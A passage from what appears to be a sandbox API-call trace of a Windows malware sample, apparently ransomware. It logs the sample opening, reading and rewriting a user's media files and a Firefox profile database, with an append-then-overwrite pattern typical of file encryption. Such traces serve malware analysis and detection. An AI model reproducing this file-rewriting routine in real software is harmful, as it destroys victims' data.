hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f2bc*=0) returned 0x0 [0058.014] WriteFile (in: hFile=0x1d4, lpBuffer=0x27209a8*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x27209a8*, lpNumberOfBytesWritten=0x304f28c*=0x4000, lpOverlapped=0x0) returned 1 [0058.014] CloseHandle (hObject=0x1d4) returned 1 [0058.014] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\y IjAzywjdSazYajM.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\y ijazywjdsazyajm.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1d4 [0058.014] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0058.014] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x2bd7 [0058.014] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0058.014] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0058.014] ReleaseMutex (hMutex=0x128) returned 1 [0058.014] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="y IjAzywjdSazYajM.m4a", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0058.015] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="y IjAzywjdSazYajM.m4a", cchWideChar=21, lpMultiByteStr=0x1e78bcc, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="y IjAzywjdSazYajM.m4a", lpUsedDefaultChar=0x0) returned 21 [0058.015] ReadFile (in: hFile=0x1d4, lpBuffer=0x276d988, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x304f278, lpOverlapped=0x0 | out: lpBuffer=0x276d988*, lpNumberOfBytesRead=0x304f278*=0x1000, lpOverlapped=0x0) returned 1 [0058.015] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x304f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f2e8*=0) returned 0x1bd7 [0058.015] ReadFile (in: hFile=0x1d4, lpBuffer=0x276d988, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x304f278, lpOverlapped=0x0 | out: lpBuffer=0x276d988*, lpNumberOfBytesRead=0x304f278*=0x1000, lpOverlapped=0x0) returned 1 [0058.015] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x304f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f2e8*=0) returned 0x1bd7 [0058.016] WriteFile (in: hFile=0x1d4, lpBuffer=0x27209a8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x27209a8*, lpNumberOfBytesWritten=0x304f28c*=0x1588, lpOverlapped=0x0) returned 1 [0058.016] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f2bc*=0) returned 0x0 [0058.016] WriteFile (in: hFile=0x1d4, lpBuffer=0x27209a8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x27209a8*, lpNumberOfBytesWritten=0x304f28c*=0x1000, lpOverlapped=0x0) returned 1 [0058.016] CloseHandle (hObject=0x1d4) returned 1 [0058.016] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\FBwe\\cfFxE7fUefpi5.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\fbwe\\cffxe7fuefpi5.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1d4 [0058.017] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0058.017] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x3dd5 [0058.017] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0058.017] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0058.017] ReleaseMutex (hMutex=0x128) returned 1 [0058.017] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="cfFxE7fUefpi5.gif", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0058.017] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="cfFxE7fUefpi5.gif", cchWideChar=17, lpMultiByteStr=0x1e78bcc, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cfFxE7fUefpi5.gif", lpUsedDefaultChar=0x0) returned 17 [0058.017] ReadFile (in: hFile=0x1d4, lpBuffer=0x276d988, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x304f278, lpOverlapped=0x0 | out: lpBuffer=0x276d988*, lpNumberOfBytesRead=0x304f278*=0x1000, lpOverlapped=0x0) returned 1 [0058.018] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x304f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f2e8*=0) returned 0x2dd5 [0058.018] ReadFile (in: hFile=0x1d4, lpBuffer=0x276d988, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x304f278, lpOverlapped=0x0 | out: lpBuffer=0x276d988*, lpNumberOfBytesRead=0x304f278*=0x1000, lpOverlapped=0x0) returned 1 [0058.018] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x304f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f2e8*=0) returned 0x2dd5 [0058.018] WriteFile (in: hFile=0x1d4, lpBuffer=0x27209a8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x27209a8*, lpNumberOfBytesWritten=0x304f28c*=0x1588, lpOverlapped=0x0) returned 1 [0058.019] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f2bc*=0) returned 0x0 [0058.019] WriteFile (in: hFile=0x1d4, lpBuffer=0x27209a8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x27209a8*, lpNumberOfBytesWritten=0x304f28c*=0x1000, lpOverlapped=0x0) returned 1 [0058.019] CloseHandle (hObject=0x1d4) returned 1 [0058.019] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\NQ9coU\\miHVdV.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\nq9cou\\mihvdv.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1d4 [0058.019] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0058.019] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0xf714 [0058.019] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0058.019] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0058.019] ReleaseMutex (hMutex=0x128) returned 1 [0058.019] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="miHVdV.gif", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0058.019] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="miHVdV.gif", cchWideChar=10, lpMultiByteStr=0x1e631ec, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="miHVdV.gif", lpUsedDefaultChar=0x0) returned 10 [0058.019] ReadFile (in: hFile=0x1d4, lpBuffer=0x276d988, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x304f278, lpOverlapped=0x0 | out: lpBuffer=0x276d988*, lpNumberOfBytesRead=0x304f278*=0x4000, lpOverlapped=0x0) returned 1 [0058.020] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x304f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f2e8*=0) returned 0xe714 [0058.020] ReadFile (in: hFile=0x1d4, lpBuffer=0x276d988, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x304f278, lpOverlapped=0x0 | out: lpBuffer=0x276d988*, lpNumberOfBytesRead=0x304f278*=0x1000, lpOverlapped=0x0) returned 1 [0058.020] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x304f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f2e8*=0) returned 0xe714 [0058.021] WriteFile (in: hFile=0x1d4, lpBuffer=0x27209a8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x27209a8*, lpNumberOfBytesWritten=0x304f28c*=0x1588, lpOverlapped=0x0) returned 1 [0058.021] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f2bc*=0) returned 0x0 [0058.021] WriteFile (in: hFile=0x1d4, lpBuffer=0x27209a8*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x27209a8*, lpNumberOfBytesWritten=0x304f28c*=0x4000, lpOverlapped=0x0) returned 1 [0058.021] CloseHandle (hObject=0x1d4) returned 1 [0058.021] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\3EpTWn7VYFZ8rE.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\3eptwn7vyfz8re.flv"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1d4 [0058.021] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0058.021] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x1649f [0058.021] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0058.021] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0058.021] ReleaseMutex (hMutex=0x128) returned 1 [0058.021] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="3EpTWn7VYFZ8rE.flv", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0058.021] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="3EpTWn7VYFZ8rE.flv", cchWideChar=18, lpMultiByteStr=0x1e78bcc, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="3EpTWn7VYFZ8rE.flv", lpUsedDefaultChar=0x0) returned 18 [0058.021] ReadFile (in: hFile=0x1d4, lpBuffer=0x276d988, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x304f278, lpOverlapped=0x0 | out: lpBuffer=0x276d988*, lpNumberOfBytesRead=0x304f278*=0x4000, lpOverlapped=0x0) returned 1 [0058.022] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x304f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f2e8*=0) returned 0x1549f [0058.022] ReadFile (in: hFile=0x1d4, lpBuffer=0x276d988, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x304f278, lpOverlapped=0x0 | out: lpBuffer=0x276d988*, lpNumberOfBytesRead=0x304f278*=0x1000, lpOverlapped=0x0) returned 1 [0058.022] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x304f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f2e8*=0) returned 0x1549f [0058.023] WriteFile (in: hFile=0x1d4, lpBuffer=0x27209a8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x27209a8*, lpNumberOfBytesWritten=0x304f28c*=0x1588, lpOverlapped=0x0) returned 1 [0058.023] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f2bc*=0) returned 0x0 [0058.023] WriteFile (in: hFile=0x1d4, lpBuffer=0x27209a8*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x27209a8*, lpNumberOfBytesWritten=0x304f28c*=0x4000, lpOverlapped=0x0) returned 1 [0058.023] CloseHandle (hObject=0x1d4) returned 1 [0058.023] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\nv eWcTz.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\nv ewctz.flv"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1d4 [0058.023] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0058.023] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x9bbb [0058.023] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0058.023] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0058.023] ReleaseMutex (hMutex=0x128) returned 1 [0058.023] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nv eWcTz.flv", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0058.023] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nv eWcTz.flv", cchWideChar=12, lpMultiByteStr=0x1e631ec, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nv eWcTz.flv", lpUsedDefaultChar=0x0) returned 12 [0058.024] ReadFile (in: hFile=0x1d4, lpBuffer=0x276d988, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x304f278, lpOverlapped=0x0 | out: lpBuffer=0x276d988*, lpNumberOfBytesRead=0x304f278*=0x4000, lpOverlapped=0x0) returned 1 [0058.024] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x304f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f2e8*=0) returned 0x8bbb [0058.024] ReadFile (in: hFile=0x1d4, lpBuffer=0x276d988, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x304f278, lpOverlapped=0x0 | out: lpBuffer=0x276d988*, lpNumberOfBytesRead=0x304f278*=0x1000, lpOverlapped=0x0) returned 1 [0058.024] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x304f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f2e8*=0) returned 0x8bbb [0058.025] WriteFile (in: hFile=0x1d4, lpBuffer=0x27209a8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x27209a8*, lpNumberOfBytesWritten=0x304f28c*=0x1588, lpOverlapped=0x0) returned 1 [0058.025] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f2bc*=0) returned 0x0 [0058.025] WriteFile (in: hFile=0x1d4, lpBuffer=0x27209a8*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x27209a8*, lpNumberOfBytesWritten=0x304f28c*=0x4000, lpOverlapped=0x0) returned 1 [0058.025] CloseHandle (hObject=0x1d4) returned 1 [0058.025] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QXKck1G4fFrIbqKfN\\n6_563PNM RXw 1k.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\qxkck1g4ffribqkfn\\n6_563pnm rxw 1k.swf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1d4 [0058.026] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0058.026] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0xf12a [0058.026] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0058.026] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0058.026] ReleaseMutex (hMutex=0x128) returned 1 [0058.026] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="n6_563PNM RXw 1k.swf", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0058.026] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="n6_563PNM RXw 1k.swf", cchWideChar=20, lpMultiByteStr=0x1e78bcc, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="n6_563PNM RXw 1k.swf", lpUsedDefaultChar=0x0) returned 20 [0058.026] ReadFile (in: hFile=0x1d4, lpBuffer=0x276d988, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x304f278, lpOverlapped=0x0 | out: lpBuffer=0x276d988*, lpNumberOfBytesRead=0x304f278*=0x4000, lpOverlapped=0x0) returned 1 [0058.027] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x304f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f2e8*=0) returned 0xe12a [0058.027] ReadFile (in: hFile=0x1d4, lpBuffer=0x276d988, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x304f278, lpOverlapped=0x0 | out: lpBuffer=0x276d988*, lpNumberOfBytesRead=0x304f278*=0x1000, lpOverlapped=0x0) returned 1 [0058.027] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x304f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f2e8*=0) returned 0xe12a [0058.027] WriteFile (in: hFile=0x1d4, lpBuffer=0x27209a8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x27209a8*, lpNumberOfBytesWritten=0x304f28c*=0x1588, lpOverlapped=0x0) returned 1 [0058.027] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f2bc*=0) returned 0x0 [0058.027] WriteFile (in: hFile=0x1d4, lpBuffer=0x27209a8*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x27209a8*, lpNumberOfBytesWritten=0x304f28c*=0x4000, lpOverlapped=0x0) returned 1 [0058.027] CloseHandle (hObject=0x1d4) returned 1 [0058.027] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\y4kMgbm5POuiAP\\gZtZ7AObmufxa436Obht.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\y4kmgbm5pouiap\\gztz7aobmufxa436obht.mkv"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1d4 [0058.028] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0058.028] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x1900 [0058.028] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0058.028] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0058.028] ReleaseMutex (hMutex=0x128) returned 1 [0058.028] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="gZtZ7AObmufxa436Obht.mkv", cchWideChar=24, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 24 [0058.028] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="gZtZ7AObmufxa436Obht.mkv", cchWideChar=24, lpMultiByteStr=0x1e7faec, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gZtZ7AObmufxa436Obht.mkv", lpUsedDefaultChar=0x0) returned 24 [0058.028] ReadFile (in: hFile=0x1d4, lpBuffer=0x276d988, nNumberOfBytesToRead=0x1900, lpNumberOfBytesRead=0x304f2bc, lpOverlapped=0x0 | out: lpBuffer=0x276d988*, lpNumberOfBytesRead=0x304f2bc*=0x1900, lpOverlapped=0x0) returned 1 [0058.029] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f300*=0) returned 0x0 [0058.029] WriteFile (in: hFile=0x1d4, lpBuffer=0x27209a8*, nNumberOfBytesToWrite=0x1e88, lpNumberOfBytesWritten=0x304f2d0, lpOverlapped=0x0 | out: lpBuffer=0x27209a8*, lpNumberOfBytesWritten=0x304f2d0*=0x1e88, lpOverlapped=0x0) returned 1 [0058.029] CloseHandle (hObject=0x1d4) returned 1 [0058.029] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Ym9ROKphfODHP.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\ym9rokphfodhp.mkv"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1d4 [0058.029] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0058.029] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x1090b Thread: id = 84 os_tid = 0x7b8 [0033.027] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\OfflineCache\\index.sqlite" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\offlinecache\\index.sqlite"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0033.028] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0033.028] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x40000 [0033.028] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0033.028] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0033.028] ReleaseMutex (hMutex=0x128) returned 1 [0033.028] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="index.sqlite", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0033.028] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="index.sqlite", cchWideChar=12, lpMultiByteStr=0x1e6320c, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="index.sqlite", lpUsedDefaultChar=0x0) returned 12 [0033.028] ReadFile (in: hFile=0x184, lpBuffer=0x261ec48, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x261ec48*, lpNumberOfBytesRead=0x318f278*=0x8000, lpOverlapped=0x0) returned 1 [0033.036] SetFilePointer (in: hFile=0x184, lDistanceToMove=-4096, 